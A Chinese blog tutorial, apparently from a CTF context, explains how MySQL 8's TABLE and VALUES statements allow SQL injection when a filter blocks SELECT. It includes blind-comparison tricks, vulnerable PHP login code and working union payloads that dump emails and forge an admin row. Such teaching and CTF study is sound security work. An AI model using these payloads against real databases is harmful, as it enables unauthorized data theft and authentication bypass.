深入浅出了解MYSQL8特性注入是什么

news2024/7/4 5:14:55

前言

今天给大家带来的是MYSQL8版本的特性注入,说起SQL注入大家一定不陌生,可是你有没有想过,当SQL注入中最关键的函数SELECT被过滤后,我们要如何去执行SQL语句呢,这就是本文要讲的内容,即利用MYSQL8版本的特性来进行关键字的绕过注入。

基础知识

因为MYSQL8配置并不是本文的重点,大家可以参考下面的链接来自己进行配置:

www.cnblogs.com/2020javamia…

table

官方文档:

dev.mysql.com/doc/refman/…

table函数为MYSQL8版本中新增的函数,其作用与select函数类似,作用是列出表中的全部信息,规范语法如下:

TABLE table_name [ORDER BY column_name] [LIMIT number [OFFSET number]] 复制代码

假如我们使用table函数查询users表下面的内容,可用以下语句:

table users; 复制代码

​我们可以看到table函数可以等价于下面的常规查询语句:

select * from users; 复制代码

上面这两条语句查询出的结果是一致的,同时table是支持UNION联合查询,ORDER BY等限制条件,但它与SELECT的区别可以总结为下面两个要点:

1.我们使用table语句进行查询时,显示的始终是表的所有列。

2.我们不可以用where字句来限定某个特定的行。

values

官方文档:

dev.mysql.com/doc/refman/…

MYSQL8中另一个新增的函数,用法可以概括为函数后跟一个或多个行构造函数的列表,可以构造一个表,规范语法如下:

VALUES row_constructor_list [ORDER BY column_designator] [LIMIT number] row_constructor_list: ROW(value_list)[, ROW(value_list)][, ...] value_list: value[, value][, ...] column_designator: column_index 复制代码

比如我们要用values函数构造一个表,可以参考下面图片理解:

​需要我们注意的是,values函数可以配合联合查询来达到SQL注入的效果,例如:

select * from user union VALUES ROW(2,3) 复制代码

比较特性

了解了上面两个函数之后,下面来说一下MYSQL中的比较特性,该特性是我们在进行MYSQL8特性盲注中必须要理解的点,我们通过下面语句去查询表(利用TABLESPACES_EXTENSIONS):

table information_schema.TABLESPACES_EXTENSIONS limit 6,1; 复制代码

查询到了以下的内容:

​假设我们用小于号去进行比较:

select (('u','')<(table information_schema.TABLESPACES_EXTENSIONS limit 6,1)); 复制代码

返回了数据为1,之后我们再用u的后面一位进行比较:

select (('v','')<(table information_schema.TABLESPACES_EXTENSIONS limit 6,1)); 复制代码

返回了数据为0,这时我们会思考为什么字母为u时返回了数据1,毕竟比较后为等于,这里利用了特性,因为我们字符u比较后为小于等于,所以我们需要将比较后结果字符的ASCII码减1才是真正的结果,所以我们在进行注入时得出的结果要将其ASCII码减1后转换。我们再看下面的例子:

select (('数据','','')<(table users.users limit 0,1)); 复制代码

我们通过上面的语句去进行字段数据的爆破,参考下面的图:

​我们在整型的地方输入了字符型的数据,比较时字符型会被强制转换成了整形,可以看到爆出了第一位数据为1,但需要注意当我们用下面查询语句进行注入:

select (('1xino','','')<(table users.users limit 0,1)); 复制代码

返回的数据还是1,这就很奇怪了,说以我们要注意因为字符型与整型比较会存在强制转换,所以比较会一直持续下去,我们写脚本的时候需要注意这个问题。

MYSQL8特性注入实例

实例一

我们进入实例环境给了我们如下的提示:

​需要我们注入出email的数据,提示我们传入id参数,尝试后发现select被过滤了,于是我们考虑可不可以进行mysql8特性注入:

?id=8 union table emails limit 8,1 --+ 复制代码

成功回显给了我们email的数据:

​访问后得到一个压缩包,我们打开后发现源码:

<?php include "./config.php"; // error_reporting(0); // highlight_file(__FILE__); $conn = mysqli_connect($hostname, $username, $password, $database); if ($conn->connect_errno) { die("Connection failed: " . $conn->connect_errno); } echo "Where is the database?"."<br>"; echo "try ?id"; function sqlWaf($s) { $filter = '/xml|extractvalue|regexp|copy|read|file|select|between|from|where|create|grand|dir|insert|link|substr|mid|server|drop|=|>|<|;|"|^|||\ |'/i'; if (preg_match($filter,$s)) return False; return True; } if (isset($_GET['id'])) { $id = $_GET['id']; $sql = "select * from users where id=$id"; $safe = preg_match('/select/is', $id); if($safe!==0) die("No select!"); $result = mysqli_query($conn, $sql); if ($result) { $row = mysqli_fetch_array($result); echo "<h3>" . $row['username'] . "</h3><br>"; echo "<h3>" . $row['passwd'] . "</h3>"; } else die('<br>Error!'); } if (isset($_POST['username']) && isset($_POST['passwd'])) { $username = strval($_POST['username']); $passwd = strval($_POST['passwd']); if ( !sqlWaf($passwd) ) die('damn hacker'); $sql = "SELECT * FROM users WHERE username='${username}' AND passwd= '${passwd}'"; $result = $conn->query($sql); if ($result->num_rows > 0) { $row = $result->fetch_assoc(); if ( $row['username'] === 'admin' && $row['passwd'] ) { if ($row['passwd'] == $passwd) { die($flag); } else { die("username or passwd wrong, are you admin?"); } } else { die("wrong user"); } } else { die("user not exist or wrong passwd"); } } mysqli_close($conn); ?> 复制代码

简单分析一下,需要我们满足以下条件:

$row['username'] === 'admin' row['passwd'] == $passwd 复制代码

同时需要我们查询语句结果大于一行而且users表中要有admin用户,需要我们创建一个虚拟表,讲到这里是不是很眼熟,我们想到可以利用values函数:

GET:?id=-1%20union%20table%20emails%20limit%207,1 POST:username=-1' union values row("1","admin","1")%23&passwd=1 复制代码

实例二

进入实例后是一个登录框:

​给了我们提示源码,因为代码太长所以这里就展示比较重要的地方:

if (isset($_POST['username']) && isset($_POST['password'])) { if (!isset($_SESSION['VerifyCode'])) die("?"); $username = strval($_POST['username']); $password = strval($_POST['password']); if ( !sqlWaf($password) ) alertMes('damn hacker' ,"./index.php"); $sql = "SELECT * FROM users WHERE username='${username}' AND password= '${password}'"; if ( $row['username'] === 'admin' && $row['password'] ) { if ($row['password'] == $password) { $message = $FLAG; } else { $message = "username or password wrong, are you admin?"; } 复制代码

可以看到让我们POST传入两个参数,username和password,同时存在下面的WAF不允许我们使用select进行查询,一旦使用WAF禁止的函数就会返回主页面,WAF内容如下:

function sqlWaf($s) { $filter = '/xml|extractvalue|regexp|copy|read|file|select|between|from|where|create|grand|dir|insert|link|substr|mid|server|drop|=|>|<|;|"|^|||\ |'/i'; if (preg_match($filter,$s)) return False; return True; } 复制代码

而username与password的条件与例题一类似,也是让我们插入admin用户,于是我们使用mysql8特性函数:

username=-1' union values row("xino","admin","xino")%23&passwd=xino 复制代码

结语

给大家分享了关于MYSQL8特性注入的知识不知道大家学会了没有,总结来说MYSQL8特性注入还是围绕了MYSQL8中新增的两个函数来展开的,有兴趣的小伙伴可以自己搭建环境去手动试一试,总的来说还是非常有趣的,喜欢本文的朋友希望能一键三连支持一下。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/12128.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

智慧人社解决方案-最新全套文件

智慧人社解决方案-最新全套文件一、建设背景二、思路架构三、建设方案1、全局性数据整合2、综合数据分析平台3、一体化数据管控四、获取 - 智慧人社全套最新解决方案合集一、建设背景 智慧人社平台以建设智慧大社保服务体系为目标&#xff0c;全面践行“互联网&#xff0b;人社…

python基于PHP+MySQL的大学生交友社交网站

近年来,大学生的数量在逐步的增加,为了能够让这些大学生有一个更好的交友环境,需要创建一个基于大学生的社交交友网站。这样可以拉近彼此大学生之间的感情,让他们可以更好的进行学习和交流。 PHP大学生交友社交网站通过PHP&#xff1a;MySQL进行开发,分为前台和后台两部分,通过…

[附源码]SSM计算机毕业设计餐厅卫生安全系统JAVA

项目运行 环境配置&#xff1a; Jdk1.8 Tomcat7.0 Mysql HBuilderX&#xff08;Webstorm也行&#xff09; Eclispe&#xff08;IntelliJ IDEA,Eclispe,MyEclispe,Sts都支持&#xff09;。 项目技术&#xff1a; SSM mybatis Maven Vue 等等组成&#xff0c;B/S模式 M…

mariadb10.8 主主同步 相互复制

1. 配置说明 操作系统&#xff1a;CentOS7 CPU指令集&#xff1a;x86_64 host1 主机&#xff1a; 2 core 2G 40GIP&#xff1a;192.168.0.98 host2 主机&#xff1a; 2 core 2G 40GIP&#xff1a;192.168.0.166 2. 数据库安装 见 MariaDB官方下载文档 https://mariadb.or…

mysql“数据不存在插入,存在则更新”实现

参考文章:Mysql:如果数据存在则更新&#xff0c;不存在则插入 场景 工作中有遇到需要配置一些指定的字段数据&#xff0c;但数据量大&#xff0c;不清楚之前是否有配置过&#xff0c;正确的思路应该是如果有这条数据了&#xff0c;那么更新数据的值&#xff0c;如果没有这条数…

股票行情接口level2的盘口信息和level1有哪些区别?

普通的行情接口软件会有价格曲线、五档盘口、分时成交等等这些行情数据&#xff0c;但是股票行情接口level2所能够提供的行情数据远远不止这些&#xff0c;level2顾名思义其实就是level1的高配版&#xff0c;那么它包含的数据相对于比普通行情接口的会更精细也更丰富&#xff0…

华为 x 香格里拉集团|品质网络守护数字旅程

作者 | 曾响铃 文 | 响铃说 酒店行业正在快速推动数字化&#xff0c;其目标是对内提升酒店管理效率&#xff0c;对外提升宾客入住体验&#xff1b;而网络作为整个数字化变革的联接底座&#xff0c;迫切需要进行升级和优化。以香格里拉集团为例&#xff0c;作为成立超过半个世…

微信怎么使用手机号码收款转账?

微信怎么使用手机号码收款&#xff1f; 1、微信手机号码收款方&#xff0c;打开微信钱包&#xff0c;并点击钱包进入&#xff1b; 2、在微信钱包找到支付设置&#xff0c;并点击进入支付设置&#xff1b; 3、在微信钱包支付设置内&#xff0c;开启允许通过手机号向我转账&…

力荐,京东首席架构师:亿级流量架构的核心技术文档免费分享

学习是一种基础性的能力。然而&#xff0c;“吾生也有涯&#xff0c;而知也无涯。”&#xff0c;如果学习不注意方法&#xff0c;则会“以有涯随无涯&#xff0c;殆矣”。 学习就像吃饭睡觉一样&#xff0c;是人的一种本能&#xff0c;人人都有学习的能力。我们在刚出生的时候…

大厂敲门砖,在阿里工作十年的朋友,总结出这份java面试必看手册

眼看着时间一天一天地过去&#xff0c;距离过年也就二个月的日子了&#xff0c;还有多少程序员是两眼摸黑不知道面试要做哪些准备的朋友&#xff1f; 还不知道进大厂需要复习哪些资料的朋友可以看过来&#xff0c;知道有些朋友会没什么准备跟无头苍蝇一样所以博主早在一个月前…

[附源码]计算机毕业设计JAVA镐京学院教务管理系统

[附源码]计算机毕业设计JAVA镐京学院教务管理系统 项目运行 环境配置&#xff1a; Jdk1.8 Tomcat7.0 Mysql HBuilderX&#xff08;Webstorm也行&#xff09; Eclispe&#xff08;IntelliJ IDEA,Eclispe,MyEclispe,Sts都支持&#xff09;。 项目技术&#xff1a; SSM my…

Python文件操作

文章目录文件操作打开文件关闭文件读文件写文件使用上下文管理器文件操作 打开文件 open函数 open函数的作用是打开一个文件&#xff0c;并返回打开的文件对象。该函数的常见调用方式如下&#xff1a; f open(file, mode, encoding)参数说明&#xff1a; file&#xff1a;待…

如何实现基于场景的接口自动化测试用例?

自动化本身是为了提高工作效率&#xff0c;不论选择何种框架&#xff0c;何种开发语言&#xff0c;我们最终想实现的效果&#xff0c;就是让大家用最少的代码&#xff0c;最小的投入&#xff0c;完成自动化测试的工作。 基于这个想法&#xff0c;我们的接口自动化测试思路如下…

Android App开发实战项目之大头贴App功能实现(附源码和演示 简单易上手)

需要图片集和源码请点赞关注收藏后评论区留言~~~ 一、需求描述 大头贴App有两个特征&#xff0c;第一个是头要大&#xff0c;拿来一张照片后把人像区域裁剪出来&#xff0c;这样新图片里的人头才会比较大&#xff0c;第二个是在周围贴上装饰物&#xff0c;而且装饰物还能随时更…

【Spring】——7、@Import注解给容器中快速导入一个组件

&#x1f4eb;作者简介&#xff1a;zhz小白 公众号&#xff1a;小白的Java进阶之路 专业技能&#xff1a; 1、Java基础&#xff0c;并精通多线程的开发&#xff0c;熟悉JVM原理 2、熟悉Java基础&#xff0c;并精通多线程的开发&#xff0c;熟悉JVM原理&#xff0c;具备⼀定的线…

Ubuntu下关于cuda和cudnn 报错 现象及解决方案

详细流程&#xff1a;1、现象2、探索&#xff08;可跳过&#xff09;3、完美解决&#xff08;真实原因&#xff09;3.1 查看当前cuda版本3.2电脑有多个cuda版本&#xff0c;通过改变软链接改变指向3.3 写入系统环境&#xff1a;1、现象 啊这,重启丢失了个啥触摸的驱动&#xff…

Java并发 - (并发基础)

Java并发 - (并发基础) 1、什么是共享资源 堆是被所有线程共享的一块内存区域。在虚拟机启动时创建。此内存区域的唯一目的就是存放对象实例 Java中几乎所有的对象实例都在这里分配内存。方法区与堆一样&#xff0c;也是各个线程共享的一块内存区域&#xff0c;它用于存储已被…

Linux实用操作-----快捷键的使用(收藏系列)

推荐教程&#xff1a;Linux零基础快速入门到精通 ctrl c 强制停止 •Linux某些程序的运行&#xff0c;如果想要强制停止它&#xff0c;可以使用快捷键ctrl c •命令输入错误&#xff0c;也可以通过快捷键ctrl c&#xff0c;退出当前输入&#xff0c;重新输入 ctrl d 退出…

注意论文投稿风险,现投期刊会不会成为预警期刊呢?

中科院发布《国际预警期刊名单》 2021年12月31日&#xff0c;中国科学院文献情报中心期刊分区表团队发布《国际期刊预警名单&#xff08;试行&#xff09;》&#xff0c;用以提醒科研人员审慎选择成果发表平台&#xff0c;提示出版机构强化期刊质量管理。截至目前&#xff0c;…

Vue 实现拖拽模块(二)自定义拖拽组件位置

上文介绍了 拖拽添加组件 的简单实现&#xff0c;本文将继续给大家分享如何自定义拖拽组件位置的简单实现&#xff0c;文中通过示例代码介绍&#xff0c;感兴趣的小伙伴们可以了解一下 本文主要介绍了 Vue自定义拖拽组件位置的简单实现&#xff0c;具体如下&#xff1a; 效果图…